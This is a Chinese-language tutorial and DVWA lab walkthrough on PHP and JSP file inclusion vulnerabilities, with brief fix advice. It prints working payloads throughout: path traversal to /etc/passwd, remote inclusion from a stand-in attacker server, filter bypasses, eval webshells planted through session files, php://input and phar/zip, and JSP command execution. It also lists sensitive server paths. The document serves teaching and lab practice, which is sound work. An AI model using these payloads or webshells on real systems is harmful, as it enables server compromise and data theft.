Web安全:文件包含漏洞
漏洞原理
开发者在代码中调用了外部文件,且调用的文件名受用户输入的影响,
在权限控制不严谨的情况下会产生文件包含漏洞(File Inclusion)
分类
文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞
远程文件包含(RFI,Remote File Inclusion)
在文件包含漏洞的利用过程中,Web 应用程序下载并调用了远程文件,称作远程文件包含
这些远程文件通常以 HTTP 或 FTP URI 的形式获取
target.xxx?file=http://hacker_server/evil.php
额外要求
要产生远程文件包含漏洞,在使用了特定函数和权限控制不严谨外,include
,require
等包含函数还必须可以加载远程文件
PHP的配置文件allow_url_fopen
和allow_url_include
设置为ON
allow_url_fopen = On
//(是否允许打开远程文件)
allow_url_include = On
//(是否允许include/require远程文件)
本地文件包含(LFI,Local File Inclusion)
在文件包含漏洞的利用过程中,Web应用程序调用了本地(服务器上)的文件,称作本地文件包含
target.xxx?file=/etc/hosts
危害
-
Web服务器的文件被外界浏览而导致信息泄漏
-
作为进一步攻击的垫脚石 (和其他漏洞同时使用造成严重危害)
-
小概率会导致命令执行
DVWA靶场实战
打开DVWA文件包含页面(File Inclusion
)
我们发现,当我们点击file1.php
时,对应的URL的page
的值变为file1.php
,同时Web应用执行file1.php
文件的源代码;
http://dvwa_ip/vulnerabilities/fi/?page=file1.php
当我们点击file2.php
时,对应的URL的page
的值变为file2.php
,同时Web应用执行file2.php
文件的源代码;
http://dvwa_ip/vulnerabilities/fi/?page=file2.php
当我们点击file3.php
时,对应的URL的page
的值变为file3.php
,同时Web应用执行file3.php
文件的源代码。
http://dvwa_ip/vulnerabilities/fi/?page=file3.php
由此可知,当我们在目标URL的page
值后添加某个存在的文件名时,Web应用程序会相应的包含此文件。并且会将该文件(无论后缀名)作为PHP代码执行.
low
看一下源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// 通过get请求把page参数的值传入file变量
?>
Web应用程序定义了一个变量page
,将用户输入的值作为page
变量的值,同时将其赋值给file
变量。最后,Web应用程序通过对file
变量的引用来实现文件的包含功能。
DVWA的low级别一般是不带有任何防护的, 没有对输入的page
变量的值执行任何过滤措施,如果我们输入那些系统不希望用户看见任何信息的文件的文件名,并赋值给page
变量。那么Web应用程序就会产生文件包含漏洞,系统的敏感信息就会被泄露。
payload1:本地–利用相对路径(许多个../
就一定会来到根目录)
../../../../../../../../../../../../../../../../etc/passwd
payload2:本地–利用绝对路径
/etc/passwd
payload3:远程包含
由于DWVA的环境,Web应用可以包含远程文件
http://server/file
medium
直接上源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// 依旧是通过get请求把page参数的值传入file变量
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
//将file变量中的http://和https://替换为空
$file = str_replace( array( "../", "..\\" ), "", $file );
//同理,将file变量中的../和..\\替换为空
//但是捏,它只替换了一次且只替换全小写的内容,也就意味着可以通过双写或大小写绕过
?>
payload1:本地–绝对路径
如果我们不使用
../
与..\
这两个关键词,而是直接访问根目录下的用户信息文件/etc/passwd
。由于Web应用程序的过滤很不严谨,并没有对根目录
/
执行过滤,所以系统不能过滤我们输入的payload,那么Web应用程序将成功包含文件/etc/passwd
,并直接暴露其源代码。 即我们构造的payload成功的绕过了Web应用程序的防御机制。
/etc/passwd
payload2:远程–双写绕过
hthttp://tp://server/file
payload3:远程–大小写绕过
hTtp://server/file
payload4:远程本地皆可–使用http/https外的协议
file:///etc/passwd
high
看源码= =
<?php
// The page we wish to display
// 日常通过get请求把page参数的值传入file变量
$file = $_GET[ 'page' ];
// Input validation
//如果file变量的开头不是file且file的值不为include.php
//就提示找不到文件并退出程序
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
补充一个知识点:
fnmatch()
函数的作用是根据指定的模式来匹配文件名或字符串。 语法为:fnmatch(pattern,string,flags)
各个参数解释如下:
pattern
必需。规定要检索的模式。
string
必需。规定要检查的字符串或文件。
flags
可选. 它是可选的参数表,用于指定标志或标志的组合.这些标志可以是以下标志的组合:
FNM_PATHNAME
:用于指定字符串中的斜线仅匹配给定模式中的斜线。
FNM_NOESCAPE
:用于禁用反斜杠转义。
FNM_CASEFOLD
:用于无 shell 匹配。
FNM_PERIOD
:用于指定字符串中的前导期间必须与给定模式中的期间完全匹配。
high
模式中进行了更为安全的白名单过滤,因此现在包含的东西必须要以file开头了
payload1:file协议正合我意
file:///etc/passwd
补充: PHP中文件包含函数
PHP中文件包含函数有以下四种
require()
require_once()
include()
include_once()
include
和require
区别主要是,include
在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require
函数出现错误的时候,会直接报错并退出程序的执行。
而include_once()
,require_once()
这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,从而确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
测试代码
<?php
$filename = $_GET['filename'];
//可以将include换成其他函数测试
include($filename);
?>
payload2:利用PHP可以包含多个文件的feature
由上文可推断出,如果程序员在包含的时候用的include
,前面那个file
开头的文件存不存在都无所谓
file[任何内容]../../../../../../../../../../../../../../../../etc/passwd
如果程序员在包含的时候用的require
话,前面那个file
开头的文件就必须存在!
file[补全一个存在的文件名]../../../../../../../../../../../../../../../../etc/passwd
修复
修复建议
-
严格检查变量是否已经初始化。
-
对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现./和../等目录跳转符。
-
严格检查文件包含函数中的参数是否外界可控。
Getshell:session与文件包含漏洞的结合
条件
-
session的存储位置可以获取(phpinfo页面一般可以获取)
-
session中的内容可以被控制,传入恶意代码
分析
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
我们发现此php会将获取到的GET型ctfs
变量的值存入到session中,也就是可以控制session中的内容
我们通过phpinfo页面发现了session的存储路径/var/lib/php/session
当访问http://ip/path/ctfs.php?ctfs=test
后,会在/var/lib/php/session
目录下存储session的值。
session的文件名为sess_+sessionid
,sessionid
可以通过开发者模式获取。
所以session的文件名为sess_p44b454elq0mfe2vopqvfm7m37
去服务器上查看,果然有该文件, 而且我们刚刚的test也被写入了
利用
通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell.
http://ip/path/ctfs.php?ctfs=%3C?php%20@eval($_POST['shell'])?%3E
当访问以上链接的时候,Web应用会在/var/lib/php/session
目录下存储session的值
(同时我们的webshell也被存进去了)
通过前端推测session储存的文件名sess_p44b454elq0mfe2vopqvfm7m37
通过文件包含的漏洞解析恶意代码
http://ip/path/include.php?filename=/var/lib/php/session/sess_p44b454elq0mfe2vopqvfm7m37
通过webshell工具连接(方便使用你的shell)
我本地使用的是
AntSword
思考
实际上你只需把shell写到一个Web应用能访问的位置并利用文件包含漏洞进行解析就可以
这个写入的文件可以不考虑后缀,反正最后会被解析成PHP
Bypass:远程文件包含绕过特定后缀限制
测试代码
<?php include($_GET['filename'] . ".html"); ?>
代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀
由于URL的特性,我们在远程文件包含的时候可以做一些事情
?绕过
在url中,?
后面的表示参数,所以说在文件后面加上?
会让后面的.html变成一个参数,从而绕过特定后缀限制
日志
192.168.109.139 - - [11/Sep/2022 11:52:00] "GET /1.html?.html HTTP/1.0" 200 -
#绕过
URL中,#
号是客户端参数,用于网页位置定位,对于Bypass来讲,重要的是#
号之后的参数不会传入到服务端
日志
192.168.109.139 - - [11/Sep/2022 12:16:08] "GET /1.html HTTP/1.0" 200 -
技巧:PHP伪协议
php:// 输入输出流
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php://filter
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。
用法
php://filter/read=convert.base64-encode/resource=你要读取的东西
过程
http://ip/path/include.php?filename=php://filter/read=convert.base64-encode/resource=你要读取的东西
如果在某些场合发现明明存在文件包含漏洞但是某些东西无法读取的话,
可以base64编码解决
条件
只是读取,需要开启 allow_url_fopen
,不需要开启 allow_url_include
;
phar://伪协议
这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。
用法
?file=phar://压缩包/内部文件
注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
过程
写一个php文件,然后用zip压缩为zip文件,然后将后缀改为png等其他格式,然后传入服务器。
然后再通过文件上传漏洞和phar://
伪协议解析
同理,也可以通过这种思路进行getshell,
将php文件中的phpinfo的代码改为一句话木马即可
<?php @eval($_POST['shell'])?>
zip伪协议
zip伪协议和phar协议类似,但是用法不一样。
用法
file=zip://[压缩文件]#[压缩文件内的子文件名]
条件
PHP > =5.3.0
注意在windows下测试要PHP=5.3.0
#在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
过程
依旧是先上传,再利用文件包含漏洞进行解析
http://ip/path/include.php?filename=zip://info.jpg%23info.php
和phar一样,可shell
php://input
可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。
用法
?file=php://input
数据利用POST传过去。
条件
php配置文件中需同时开启 allow_url_fopen
和 allow_url_include
(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。
过程
如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
注意:当前目录Web应用工作的用户必须要有写权限,否则写不了
发送POST包
POST /test/include.php?filename=php://input HTTP/1.1
...
...
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
然后用你的Webshell工具连接即可
补充:系统中的敏感路径
常见的敏感路径:
-
Windows
-
C:\boot.ini //查看系统版本
-
C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件
-
C:\windows\repair\sam //存储 windows 系统初次安装的密码
-
C:\Program Files\mysql\my.ini //mysql 配置
-
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
-
C:\windows\php.ini //php 配置信息
-
C:\windows\my.ini //mysql 配置文件
-
-
UNIX/Linux
-
/etc/passwd
-
/usr/local/app/apache2/conf/httpd.conf //apache2 默认配置文件
-
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
-
/usr/local/app/php5/lib/php.ini //PHP 相关配置
-
/etc/httpd/conf/httpd.conf //apache
-
/etc/php5/apache2/php.ini //ubuntu 系统的默认路径
-
日志默认路径
-
apache+Linux 日志默认路径
/etc/httpd/logs/access_log
或者/var/log/httpd/access_log
-
apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log
,D:\xampp\apache\logs\error.log
-
IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Logfiles
-
IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
-
nginx 日志文件 日志文件在用户安装目录 logs 目录下,以我的安装路径为例
/usr/local/nginx
, 那我的日志目录就是在/usr/local/nginx/logs
里
web 中间件默认配置
-
apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
或者index.php?page=/etc/init.d/httpd
-
IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
-
IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config
P.S. burp的intruder里面自带一些路径
Javaweb:文件包含?
以为只有PHP中存在文件包含漏洞?
不不不~~ :)
实际上只要存在文件包含的功能,无论语言都有可能存在这样的问题,
而且利用的逻辑基本上是相同的
小逝验
在目标机器上起一个Tomcat环境
新建一个test.jsp
,
输入以下代码搭建一个简单的javaweb文件包含漏洞环境
<!--输出提示-->
<%out.println("Input your payload as GET parameter 'payload'");%>
<br>
<%out.println("Output: ");%>
<br>
<!--获取payload参数内容传入变量payload-->
<%String payload = request.getParameter("payload");%>
<!--包含变量payload内的内容-->
<jsp:include page="${param.payload}" />
玩法
给payload参数传你想要包含的路径
http://ip:8080/path/test.jsp?payload=文件名
测试
在test.jsp
的相同目录新建一个1.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
Process p;
p = Runtime.getRuntime().exec("操作系统命令");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
%>
然后访问
http://ip:8080/path/test.jsp?payload=1.jsp
让1.jsp被包含
注意事项
在本实验中被包含文件后缀会被识别,不会强制当成jsp代码执行,另外一种包含的方式<%@include file='文件'%>
可以…但是file后面的东西必须是字符串,不能是变量,因此无法造成文件包含漏洞…
由此可见,Javaweb在这方面的安全性比PHP会高一些